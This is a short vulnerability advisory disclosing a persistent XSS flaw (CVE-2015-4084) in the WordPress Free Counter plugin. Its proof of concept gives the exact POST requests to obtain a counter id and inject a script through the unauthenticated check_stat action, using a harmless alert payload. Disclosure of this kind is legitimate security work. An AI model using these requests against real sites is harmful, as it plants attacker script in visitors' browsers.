Free Counter [Persistent XSS]
WordPress plugin Free Counter suffers for an Persistent XSS vulnerability.
Description
Any authenticated or non-authenticated user can perform a stored XSS attack simply by exploiting wp_ajax_nopriv_check_stat action. Plugin uses a widget to display website’s visits, so any page that contains this widget will also load the malicious JS code.
Proof of Concept
- Send a post request to
http://www.free-counter.org/Api.php
in order to reveal the counter id of the vulnerable site. The POST data must contain the following vars:
action=create_new_counter&site_url=http%3A%2f%my.vulnerable.website.com
- As a response we get a serialized indexed array. The value that we need to know is the
counter_id
. - Send a post request to
http://my.vulnerable.website.com/wp-admin/admin-ajax.php
with data:
action=check_stat&id_counter=[counter_id from step 2]&value_=<script>alert(1)</script>
- Visit a page of the infected website that displays plugin’s widget.
Note that the plugin uses the update_option function to store the $_POST['value_']
contents to DB so any code inserted there will be escaped. Even though a malicious user can omit the quotes in the src attr of the script tag. Most modern browsers will treat the tag as they were there.
INFO
- 25 May 2015
- Pan Vag
- www.free-counter.org
- wordpress.org
- WordPress 4.2.2
- CVE-2015-4084